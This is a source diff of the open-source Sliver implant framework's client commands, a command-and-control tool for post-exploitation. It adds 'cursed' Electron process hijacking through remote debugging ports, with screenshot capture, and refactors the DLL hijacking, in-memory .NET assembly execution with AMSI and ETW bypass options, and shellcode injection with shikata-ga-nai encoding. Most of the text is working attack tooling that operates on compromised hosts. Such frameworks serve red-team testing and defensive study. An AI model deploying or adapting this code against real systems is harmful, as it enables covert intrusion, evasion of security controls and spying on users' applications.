along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"log"
insecureRand "math/rand"
"path"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func CursedElectronCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
electronExe, _ := cmd.Flags().GetString("exe")
if electronExe == "" {
con.PrintErrorf("Missing --exe flag, see --help\n")
return
}
curse := avadaKedavraElectron(electronExe, session, cmd, con, args)
if curse == nil {
return
}
con.PrintInfof("Checking for debug targets ...")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
if len(targets) == 0 {
con.PrintErrorf("Zero debug targets found\n")
return
}
con.PrintInfof("Found %d debug targets, good hunting!\n", len(targets))
}
func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
exists, err := checkElectronPath(electronExe, session, cmd, con)
if err != nil {
con.PrintErrorf("%s", err)
return nil
}
if !exists {
con.PrintErrorf("Executable path does not exist: %s", electronExe)
return nil
}
electronProcess, err := checkElectronProcess(electronExe, session, cmd, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if electronProcess != nil {
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if !confirm {
con.PrintErrorf("User cancel\n")
return nil
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(cmd),
Pid: electronProcess.Pid,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return nil
}
}
curse, err := startCursedElectronProcess(electronExe, session, cmd, con, cargs)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
return curse
}
func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (bool, error) {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(cmd),
Path: electronExe,
})
if err != nil {
return false, err
}
return ls.GetExists(), nil
}
func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
return nil, err
}
for _, process := range ps.Processes {
if process.GetOwner() != session.GetUsername() {
continue
}
if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
return process, nil
}
}
return nil, nil
}
func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := getRemoteDebuggerPort(cmd)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
if len(cargs) > 0 {
args = append(args, cargs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Request: con.ActiveTarget.Request(cmd),
Path: electronExe,
Args: args,
Output: false,
})
if err != nil {
con.Printf("failure!\n")
return nil, err
}
con.Printf("(pid: %d) success!\n", electronExec.GetPid())
con.PrintInfof("Waiting for process to initialize ... ")
time.Sleep(2 * time.Second)
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
Rpc: con.Rpc,
Session: session,
RemoteAddr: remoteAddr,
BindAddr: bindAddr,
KeepAlivePeriod: 60 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(bindAddr, channelProxy)
portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
curse := &core.CursedProcess{
SessionID: session.ID,
PID: electronExec.GetPid(),
PortFwd: portFwd,
BindTCPPort: bindPort,
Platform: session.GetOS(),
ExePath: electronExe,
}
core.CursedProcesses.Store(bindPort, curse)
go func() {
err := tcpProxy.Run()
if err != nil {
log.Printf("Proxy error %s", err)
}
core.CursedProcesses.Delete(bindPort)
}()
con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
return curse, nil
}
+82
View File
@@ -0,0 +1,82 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"strconv"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func CursedRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
bindPort, err := strconv.Atoi(args[0])
if err != nil {
con.PrintErrorf("Failed to parse bind port argument: %s (%s)", args[0], err.Error())
return
}
kill, _ := cmd.Flags().GetBool("kill")
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
if kill {
confirm := false
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s", err)
return
}
if !confirm {
con.PrintErrorf("User cancel\n")
return
}
// Get cursed process
var cursedProc *core.CursedProcess
curses := core.CursedProcessBySessionID(session.ID)
for _, curse := range curses {
if curse.BindTCPPort == bindPort {
cursedProc = curse
}
}
if cursedProc == nil {
con.PrintErrorf("Failed to find cursed process\n")
return
}
terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
Request: con.ActiveTarget.Request(cmd),
Pid: int32(cursedProc.PID),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if terminateResp.Response != nil && terminateResp.Response.Err != "" {
con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
return
}
}
}
@@ -0,0 +1,70 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"os"
"time"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
)
func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
con.PrintInfof("Querying debug targets ... ")
targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
con.Printf(console.Clearln + "\r")
if err != nil {
con.PrintErrorf("Failed to query debug targets: %s\n", err)
return
}
target := selectDebugTarget(targets, con)
if target == nil {
return
}
con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
quality, _ := cmd.Flags().GetInt64("quality")
if quality < 1 || quality > 100 {
con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
return
}
data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
if err != nil {
con.PrintErrorf("Failed to take screenshot: %s\n", err)
return
}
saveFile, _ := cmd.Flags().GetString("save")
if saveFile == "" {
saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
}
err = os.WriteFile(saveFile, data, 0o644)
if err != nil {
con.PrintErrorf("Failed to save screenshot: %s\n", err)
return
}
con.PrintInfof("Screenshot saved to %s\n", saveFile)
}
+122
View File
@@ -0,0 +1,122 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
insecureRand "math/rand"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
)
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
// Collect existing curses from core
cursedProcesses := [][]string{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
curse := value.(*core.CursedProcess)
cursedProcesses = append(cursedProcesses, []string{
fmt.Sprintf("%d", curse.BindTCPPort),
strings.Split(curse.SessionID, "-")[0],
fmt.Sprintf("%d", curse.PID),
curse.Platform,
curse.ExePath,
curse.DebugURL().String(),
})
return true
})
// Display table if we have 1 or more curses
if 0 < len(cursedProcesses) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
})
for _, rowEntries := range cursedProcesses {
row := table.Row{}
for _, entry := range rowEntries {
row = append(row, entry)
}
tw.AppendRow(table.Row(row))
}
con.Printf("%s\n", tw.Render())
} else {
con.PrintInfof("No cursed processes\n")
}
}
// selectCursedProcess - Interactively select a cursed process from a list
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
cursedProcesses := []*core.CursedProcess{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
return true
})
if len(cursedProcesses) < 1 {
con.PrintErrorf("No cursed processes\n")
return nil
}
port2process := map[int]*core.CursedProcess{}
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, cursedProcess := range cursedProcesses {
fmt.Fprintf(table, "%d\t%s\t%s\n",
cursedProcess.BindTCPPort,
fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
cursedProcess.ExePath)
port2process[cursedProcess.BindTCPPort] = cursedProcess
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a curse:",
Options: options,
}
selected := ""
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
}
if selected == "" {
return nil
}
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
return port2process[selectedPortNumber]
}
func getRemoteDebuggerPort(cmd *cobra.Command) int {
port, _ := cmd.Flags().GetInt("remote-debugging-port")
if port == 0 {
port = insecureRand.Intn(30000) + 10000
}
return port
}
+10 -8
View File
@@ -23,9 +23,10 @@ import (
"fmt"
"io/ioutil"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
)
// dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
@@ -33,7 +34,7 @@ import (
// dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll TARGET_PATH
// DllHijackCmd -- implements the dllhijack command
func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func DllHijackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var (
localRefData []byte
targetDLLData []byte
@@ -44,11 +45,12 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
targetPath := ctx.Args.String("target-path")
referencePath := ctx.Flags.String("reference-path")
localFile := ctx.Flags.String("file")
profileName := ctx.Flags.String("profile")
localReferenceFilePath := ctx.Flags.String("reference-file")
targetPath := args[0]
referencePath, _ := cmd.Flags().GetString("reference-path")
localFile, _ := cmd.Flags().GetString("file")
profileName, _ := cmd.Flags().GetString("profile")
localReferenceFilePath, _ := cmd.Flags().GetString("reference-file")
if referencePath == "" {
con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
@@ -83,7 +85,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
TargetLocation: targetPath,
ReferenceDLL: localRefData,
TargetDLL: targetDLLData,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
ProfileName: profileName,
})
ctrl <- true
+11 -5
View File
@@ -21,24 +21,30 @@ package environment
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvGetCmd - Get a remote environment variable
func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func EnvGetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
name := ctx.Args.String("name")
var name string
if len(args) > 0 {
name = args[0]
}
envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
Name: name,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
+8 -7
View File
@@ -21,23 +21,25 @@ package environment
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvSetCmd - Set a remote environment variable
func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func EnvSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
name := ctx.Args.String("name")
value := ctx.Args.String("value")
name := args[0]
value := args[1]
if name == "" || value == "" {
con.PrintErrorf("Usage: setenv KEY VALUE\n")
return
@@ -48,7 +50,7 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Key: name,
Value: value,
},
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
@@ -67,7 +69,6 @@ func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
} else {
PrintSetEnvInfo(name, value, envInfo, con)
}
}
// PrintSetEnvInfo - Print the set environment info
+7 -7
View File
@@ -21,21 +21,23 @@ package environment
import (
"context"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// EnvUnsetCmd - Unset a remote environment variable
func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
name := ctx.Args.String("name")
name := args[0]
if name == "" {
con.PrintErrorf("Usage: setenv NAME\n")
return
@@ -43,9 +45,8 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
Name: name,
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -63,7 +64,6 @@ func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
} else {
PrintUnsetEnvInfo(name, unsetResp, con)
}
}
// PrintUnsetEnvInfo - Print the set environment info
+67 -55
View File
@@ -20,59 +20,94 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
// ExecuteAssemblyCmd - Execute a .NET assembly in-memory
func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
assemblyPath := ctx.Args.String("filepath")
arch, _ := cmd.Flags().GetString("arch")
method, _ := cmd.Flags().GetString("method")
className, _ := cmd.Flags().GetString("class")
appDomain, _ := cmd.Flags().GetString("app-domain")
pPid, _ := cmd.Flags().GetUint32("ppid")
assemblyPath := args[0]
isDLL := false
if filepath.Ext(assemblyPath) == ".dll" {
isDLL = true
}
if isDLL {
if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" {
if className == "" || method == "" {
con.PrintErrorf("Please provide a class name (namespace.class) and method\n")
return
}
}
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
assemblyBytes, err := os.ReadFile(assemblyPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
}
assemblyArgs := ctx.Args.StringList("arguments")
process := ctx.Flags.String("process")
assemblyArgs := args[1:]
process, _ := cmd.Flags().GetString("process")
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
processArgs := strings.Split(processArgsStr, " ")
inProcess, _ := cmd.Flags().GetBool("in-process")
runtime, _ := cmd.Flags().GetString("runtime")
etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
return
}
assemblyArgsStr := strings.Join(assemblyArgs, " ")
assemblyArgsStr = strings.TrimSpace(assemblyArgsStr)
if len(assemblyArgsStr) > 256 && !inProcess {
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
confirm := false
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
}
ctrl := make(chan bool)
con.SpinUntil("Executing assembly ...", ctrl)
execAssembly, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveTarget.Request(ctx),
IsDLL: isDLL,
Process: process,
Arguments: strings.Join(assemblyArgs, " "),
Assembly: assemblyBytes,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
Request: con.ActiveTarget.Request(cmd),
IsDLL: isDLL,
Process: process,
Arguments: assemblyArgsStr,
Assembly: assemblyBytes,
Arch: arch,
Method: method,
ClassName: className,
AppDomain: appDomain,
ProcessArgs: processArgs,
PPid: pPid,
Runtime: runtime,
EtwBypass: etwBypass,
AmsiBypass: amsiBypass,
InProcess: inProcess,
})
ctrl <- true
<-ctrl
@@ -80,7 +115,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("%s", err)
return
}
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if execAssembly.Response != nil && execAssembly.Response.Async {
con.AddBeaconCallback(execAssembly.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execAssembly)
@@ -88,52 +123,29 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con)
})
con.PrintAsyncResponse(execAssembly.Response)
} else {
PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostName, cmd, con)
}
}
// PrintExecuteAssembly - Print the results of an assembly execution
func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname string,
assemblyPath string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleExecuteAssemblyResponse(execAssembly *sliverpb.ExecuteAssembly, assemblyPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
saveLoot, _ := cmd.Flags().GetBool("loot")
lootName, _ := cmd.Flags().GetString("name")
if execAssembly.GetResponse().GetErr() != "" {
con.PrintErrorf("Error: %s\n", execAssembly.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAssembly.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
save, _ := cmd.Flags().GetBool("save")
if ctx.Flags.Bool("loot") && 0 < len(execAssembly.GetOutput()) {
name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(assemblyPath))
err = loot.AddLootFile(con.Rpc, name, "console.txt", execAssembly.GetOutput(), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
PrintExecutionOutput(string(execAssembly.GetOutput()), save, cmd.Name(), hostName, con)
if saveLoot {
LootExecute(execAssembly.GetOutput(), lootName, cmd.Name(), assemblyPath, hostName, con)
}
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
+54 -23
View File
@@ -23,35 +23,37 @@ import (
"context"
"fmt"
"io"
"io/ioutil"
"log"
"os"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/ssh/terminal"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// ExecuteShellcodeCmd - Execute shellcode in-memory
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
interactive := ctx.Flags.Bool("interactive")
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
interactive, _ := cmd.Flags().GetBool("interactive")
if interactive && beacon != nil {
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
return
}
pid := ctx.Flags.Uint("pid")
shellcodePath := ctx.Args.String("filepath")
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
pid, _ := cmd.Flags().GetUint32("pid")
shellcodePath := args[0]
shellcodeBin, err := os.ReadFile(shellcodePath)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
@@ -60,8 +62,39 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
if shikataGaNai {
if !rwxPages {
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
return
}
arch, _ := cmd.Flags().GetString("architecture")
if arch != "386" && arch != "amd64" {
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
return
}
iter, _ := cmd.Flags().GetUint32("iterations")
con.PrintInfof("Encoding shellcode ...\n")
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
Architecture: arch,
Iterations: iter,
BadChars: []byte{},
Data: shellcodeBin,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
oldSize := len(shellcodeBin)
shellcodeBin = resp.GetData()
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
}
process, _ := cmd.Flags().GetString("process")
if interactive {
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), con)
executeInteractive(cmd, process, shellcodeBin, rwxPages, con)
return
}
ctrl := make(chan bool)
@@ -69,9 +102,9 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
con.SpinUntil(msg, ctrl)
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
RWXPages: ctx.Flags.Bool("rwx-pages"),
Pid: uint32(pid),
Request: con.ActiveTarget.Request(ctx),
RWXPages: rwxPages,
Pid: pid,
Request: con.ActiveTarget.Request(cmd),
})
ctrl <- true
<-ctrl
@@ -104,7 +137,7 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient
}
}
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
// Check active session
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
@@ -119,21 +152,19 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
Path: hostProc,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -145,7 +176,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveTarget.Request(cmd),
Pid: pid,
Data: shellcode,
RWXPages: rwxPages,
@@ -161,9 +192,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *terminal.State
var oldState *term.State
if !noPty {
oldState, err = terminal.MakeRaw(0)
oldState, err = term.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state\n")
@@ -195,7 +226,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
if !noPty {
log.Printf("Restoring terminal state ...")
terminal.Restore(0, oldState)
term.Restore(0, oldState)
}
log.Printf("Exit interactive")
+162 -41
View File
@@ -18,29 +18,43 @@ package exec
import (
"context"
"fmt"
"os"
"path/filepath"
"strings"
"time"
"google.golang.org/protobuf/proto"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
